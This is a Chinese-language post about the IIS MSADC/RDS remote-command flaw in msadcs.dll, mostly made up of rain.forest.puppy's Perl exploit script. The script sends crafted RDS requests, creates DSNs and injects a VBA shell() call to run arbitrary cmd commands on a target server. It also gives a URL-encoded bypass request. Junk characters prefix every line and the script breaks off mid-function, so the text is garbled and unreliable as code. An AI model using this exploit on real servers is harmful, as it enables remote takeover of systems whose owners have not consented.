IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
UNa"\ cOX )+53 涉及程序:
wTU$jd1;+ Microsoft NT server
w|s2f`! n-cI~Ax+4 描述:
`hkvxt 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
O& Sk}^ $jE<n/8 详细:
d4;$=P 如果你没有时间读详细内容的话,就删除:
QhJN/v
c:\Program Files\Common Files\System\Msadc\msadcs.dll
vxEi C:&] 有关的安全问题就没有了。
Mh-"B([Z Sl,DZ! 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
jc
Mn o?>0WSLlm 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
XNJZ~Mowb 关于利用ODBC远程漏洞的描述,请参看:
#xGP|:m N'WTIM3W http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm vHcl7=)Q 6dr'nP 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
l_Lz9k http://www.microsoft.com/security/bulletins/MS99-025faq.asp Y$v #>w_M jeRE(3'Q 这里不再论述。
p7;K] AW @gK`RmhGE5 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
@M4c/k} K}re{y /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
|kPgXq6 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
JR.)CzC -(:T&rfTp z@~H{glo #将下面这段保存为txt文件,然后: "perl -x 文件名"
A&t8C8, `+n#CWZ"Y #!perl
8$_{R!x #
<1*.:CL"s # MSADC/RDS 'usage' (aka exploit) script
\#:
W #
;7:} iKU # by rain.forest.puppy
~
O#\$u #
KJec/qca # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
cLf90|YFp # beta test and find errors!
a~0 ~Y y FXJ0
G>F use Socket; use Getopt::Std;
l+"p$iZs getopts("e:vd:h:XR", \%args);
5_E8
RAG @u9L+*F
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
?5nEmG|kO ?DUim1KG if (!defined $args{h} && !defined $args{R}) {
HZRFE[ 9nb print qq~
L?N&kzA Usage: msadc.pl -h <host> { -d <delay> -X -v }
,W)DQwAg -h <host> = host you want to scan (ip or domain)
MSS[-} -d <seconds> = delay between calls, default 1 second
ZL<X*l2 -X = dump Index Server path table, if available
F8-GnTxa -v = verbose
SED52$zA -e = external dictionary file for step 5
q *&H c8X;4
My Or a -R will resume a command session
>2{Y5__+e uK" T~ ~; exit;}
$\J5l$tU % akW43cE $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
GuR^L@+ -. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
PzSLE>Q if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
{TNORbZz if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
_`?cBu` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
(yP1}? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_dd! nU\A| kiM:(=5 if (!defined $args{R}){ $ret = &has_msadc;
8)9-*Bzj die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
YXWDbr:JX ,M3hE/rb/ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
O00;0w u . "cmd /c ";
qo3+=*"V $in=<STDIN>; chomp $in;
-fA =&$V $command="cmd /c " . $in ;
({t^/b*8 P".}Y[GD if (defined $args{R}) {&load; exit;}
vK)'3% 6}E>B{Y print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
yk?bz &try_btcustmr;
9lYfII}4( J"AR3b@,$? print "\nStep 2: Trying to make our own DSN...";
~@c<5 -`{ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(7G4 v E42)93~C print "\nStep 3: Trying known DSNs...";
'/8/M{`s &known_dsn;
<WIIurp b:F;6X0~Hl print "\nStep 4: Trying known .mdbs...";
,EEAxmf &known_mdb;
+S4>}2N33 tI{]&dev if (defined $args{e}){
3Y38lP:>h print "\nStep 5: Trying dictionary of DSN names...";
rq3f/_#L!O &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
O^~IY/[ 17KQ print "Sorry Charley...maybe next time?\n";
7o+L exit;
h<%$?h+} 4u}Cki,vOK ##############################################################################
5]Rbzg2t akyMW7'3V< sub sendraw { # ripped and modded from whisker
gvT}UNqL sleep($delay); # it's a DoS on the server! At least on mine...
f9u=h} my ($pstr)=@_;
gP
QOv socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$}WT"K die("Socket problems\n");
sr;&/l#7h if(connect(S,pack "SnA4x8",2,80,$target)){
>ZOlSLu select(S); $|=1;
5m~9Vl-& print $pstr; my @in=<S>;
gaz7u8$A= select(STDOUT); close(S);
}2;P`s return @in;
\"ahs7ABT } else { die("Can't connect...\n"); }}
N0w?c 5> <h:xZtz ##############################################################################
nvrh7l9nX ^.LB(GZ, sub make_header { # make the HTTP request
j<(E%KN3 my $msadc=<<EOT
0V<kpC,4 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
jOfG}:>e\ User-Agent: ACTIVEDATA
6ncwa<q5 Host: $ip
P'8RaO&d Content-Length: $clen
A^z{n/DiL Connection: Keep-Alive
iUcX\
uW ~4~r ADCClientVersion:01.06
0`S{>G Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
KUU{X~w =OO4C --!ADM!ROX!YOUR!WORLD!
}lp37, Content-Type: application/x-varg
^~V2xCu! Content-Length: $reqlen
Ds(Z. KuJ9bn{u!C EOT
UPGUJ>2Z ; $msadc=~s/\n/\r\n/g;
As46:<!2 return $msadc;}
<w^u^)iLy1 *w@1@6?j ##############################################################################
;B 8Q,.t>x aH."|
*. sub make_req { # make the RDS request
]?(kaNQ"D my ($switch, $p1, $p2)=@_;
i5TGK#3o my $req=""; my $t1, $t2, $query, $dsn;
\|S%zX Kb+SssF if ($switch==1){ # this is the btcustmr.mdb query
vgy.fP"@ $query="Select * from Customers where City=" . make_shell();
MuD
? KK $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
phH@{mI $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
HU>>\t?d -/?)0E elsif ($switch==2){ # this is general make table query
gNW+Dq|X% $query="create table AZZ (B int, C varchar(10))";
q~9-A+n $dsn="$p1";}
kV1L.Xg [voZ=+/ elsif ($switch==3){ # this is general exploit table query
~Fh+y+g? $query="select * from AZZ where C=" . make_shell();
b_ TI_ $dsn="$p1";}
F62 uDyY `]W9Fj<1j elsif ($switch==4){ # attempt to hork file info from index server
:-jbIpj' $query="select path from scope()";
qj~=qV0p $dsn="Provider=MSIDXS;";}
OS#aYER~/ 7vZO;FGtG elsif ($switch==5){ # bad query
F 6sQeU $query="select";
FQO=}0Hl $dsn="$p1";}
Sa<(F[p` v Z]j%c@ $t1= make_unicode($query);
4o}{3! m $t2= make_unicode($dsn);
n}a`|Nbk $req = "\x02\x00\x03\x00";
A4f"v)vM $req.= "\x08\x00" . pack ("S1", length($t1));
=%~- M $req.= "\x00\x00" . $t1 ;
ftRFG $req.= "\x08\x00" . pack ("S1", length($t2));
dGk"`/@ $req.= "\x00\x00" . $t2 ;
}T$BU>z33N $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|j0_^:2r= return $req;}
Q*<KX2O 7<WUjK| ##############################################################################
A2gFY} ;l!<A sub make_shell { # this makes the shell() statement
\Ki3ls return "'|shell(\"$command\")|'";}
fCUx93,>z 15jQ87) ##############################################################################
)dfhy t[2b~peNI sub make_unicode { # quick little function to convert to unicode
}Ecv6&G my ($in)=@_; my $out;
K*5gb^Ul for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
h.K"v5I* return $out;}
g "Du]_, uEb:uENk'( ##############################################################################
VLm\P S
yJ!26 sub rdo_success { # checks for RDO return success (this is kludge)
~4+Y BN my (@in) = @_; my $base=content_start(@in);
'sIne> if($in[$base]=~/multipart\/mixed/){
8WV5'cX return 1 if( $in[$base+10]=~/^\x09\x00/ );}
w98M#GqV return 0;}
G AY?F 9BZ B1oX ##############################################################################
}i^M<A O *~P| ? D' sub make_dsn { # this makes a DSN for us
~OX\R"aZBW my @drives=("c","d","e","f");
!k%
PP print "\nMaking DSN: ";
o}r_+\n foreach $drive (@drives) {
+#wVe print "$drive: ";
?n{m2.H my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
+/celp "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
WwsNAJ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
1f+A_k/@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
,X3D<wl return 0 if $2 eq "404"; # not found/doesn't exist
e^N~)Nlj if($2 eq "200") {
#"-_ ~ foreach $line (@results) {
v CsE|eMP return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
JfkEJk< } return 0;}
~9o@1TO:v :2xGfy?? ##############################################################################
i45.2, X[h{g` sub verify_exists {
})]
iN" my ($page)=@_;
TY%c`Q5 my @results=sendraw("GET $page HTTP/1.0\n\n");
g8E5"jpXx3 return $results[0];}
a^LckHPI> @#hQ0F8 ##############################################################################
%' WC7s `scW.Vem sub try_btcustmr {
Vf:.C|Z my @drives=("c","d","e","f");
1p~ORQ my @dirs=("winnt","winnt35","winnt351","win","windows");
qnyacI nmn/4> foreach $dir (@dirs) {
v`mB82s print "$dir -> "; # fun status so you can see progress
Q0"?TSY foreach $drive (@drives) {
Mhn1-ma: print "$drive: "; # ditto
@$kO7k0{g $reqlen=length( make_req(1,$drive,$dir) ) - 28;
%0y-f $reqlenlen=length( "$reqlen" );
Lbo3fwW $clen= 206 + $reqlenlen + $reqlen;
07>m*1G JZ`u?ZaJ/s my @results=sendraw(make_header() . make_req(1,$drive,$dir));
l@SV!keQ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
[ p,]/ ^ N else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
"gNi}dB<] 1d+Kn Jy ##############################################################################
9LPXhxNwB @BLB.= sub odbc_error {
&iu]M=Yb my (@in)=@_; my $base;
>k\p%{P my $base = content_start(@in);
}ACg#;>/+ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
X,+a 6F $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qQ]fM$! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
tYTl-c $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\3ydNgl return $in[$base+4].$in[$base+5].$in[$base+6];}
DXD+,y\= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
,? <;zq print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
r{?qvl!q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
. 0yBI=QI *\#<2 QAe ##############################################################################
"uuM#@h D8!
Y0 sub verbose {
*VXx\& my ($in)=@_;
J#H,QYnf(L return if !$verbose;
yz0#0YG7 print STDOUT "\n$in\n";}
g]h@U&`~u_ 8fi'" ##############################################################################
OU` !c[O I-8I/RRkmP sub save {
#*9 |\ my ($p1, $p2, $p3, $p4)=@_;
Cm8h
b open(OUT, ">rds.save") || print "Problem saving parameters...\n";
-ewR:Y@j print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
]6^S:K_" close OUT;}
CB9:53zK9 #\N8E-d ##############################################################################
%x,HQNRDU :55a9d1bL sub load {
FT>>XP8 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
2V;{@k open(IN,"<rds.save") || die("Couldn't open rds.save\n");
%w>3Fwj`z @p=<IN>; close(IN);
Iu0GOy*[ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Zc38ht\r; $target= inet_aton($ip) || die("inet_aton problems");
G"3KYBN> print "Resuming to $ip ...";
\nyqW4nTm $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
%I`'it2d if($p[1]==1) {
lAG@nh^ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
wvisu\V $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
28M^F~0 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
9Bpb? if (rdo_success(@results)){print "Success!\n";}
_~tF2`,Y_p else { print "failed\n"; verbose(odbc_error(@results));}}
x(Uv>k~i} elsif ($p[1]==3){
#k/T\PQ0s if(run_query("$p[3]")){
d^54mfgI print "Success!\n";} else { print "failed\n"; }}
.KG9YGL# elsif ($p[1]==4){
D&K9!z"] if(run_query($drvst . "$p[3]")){
2s,cyCw& print "Success!\n"; } else { print "failed\n"; }}
q;QasAQS`p exit;}
I+W,%)vb ze9n}oN ##############################################################################
'`gnJX
JO ^-Arfm%dn sub create_table {
)(.g~Q: my ($in)=@_;
8cvSA&l(D $reqlen=length( make_req(2,$in,"") ) - 28;
z^*g2J, $reqlenlen=length( "$reqlen" );
}+S~Ah?( $clen= 206 + $reqlenlen + $reqlen;
*!%n`BR ' my @results=sendraw(make_header() . make_req(2,$in,""));
T1RY1hb|g> return 1 if rdo_success(@results);
v1+.-hO my $temp= odbc_error(@results); verbose($temp);
y+$vHnS/jC return 1 if $temp=~/Table 'AZZ' already exists/;
wPYeKOh' return 0;}
)@U~Li/+ Z$c&Y>@) ##############################################################################
/g%RIzgW 90F.9rh sub known_dsn {
"+ {2! # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
<2kv/ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
O5:U2o- "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
r91i : "banner", "banners", "ads", "ADCDemo", "ADCTest");
sqF.,A, S{F\_'% foreach $dSn (@dsns) {
[V8^}s}tF print ".";
FeZW S>N next if (!is_access("DSN=$dSn"));
)#4(4
@R h if(create_table("DSN=$dSn")){
v5 p`=Z@% print "$dSn successful\n";
N0$
uB" if(run_query("DSN=$dSn")){
z*b|N45O print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
uk WL3 print "Something's borked. Use verbose next time\n";}}} print "\n";}
;[Xf@xf Q$:,N=% ##############################################################################
.#sX|c=W GHLFn~z@XJ sub is_access {
sAA;d my ($in)=@_;
BuAzO>= $reqlen=length( make_req(5,$in,"") ) - 28;
!jEV75 $reqlenlen=length( "$reqlen" );
"p+oi@ $clen= 206 + $reqlenlen + $reqlen;
*
#z@b my @results=sendraw(make_header() . make_req(5,$in,""));
<
fe. my $temp= odbc_error(@results);
FncP,F$8
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<o|k'Y(- return 0;}
"5$p=| dKXzFyW ##############################################################################
%RwWyzm#\ ow`F 7 sub run_query {
xi<}n# my ($in)=@_;
['>r tV $reqlen=length( make_req(3,$in,"") ) - 28;
Zs0;92WL $reqlenlen=length( "$reqlen" );
1PWi~1q{Q $clen= 206 + $reqlenlen + $reqlen;
=D?HL? my @results=sendraw(make_header() . make_req(3,$in,""));
2RqV\Jik return 1 if rdo_success(@results);
XmVst*2= my $temp= odbc_error(@results); verbose($temp);
Z3Ww@&bU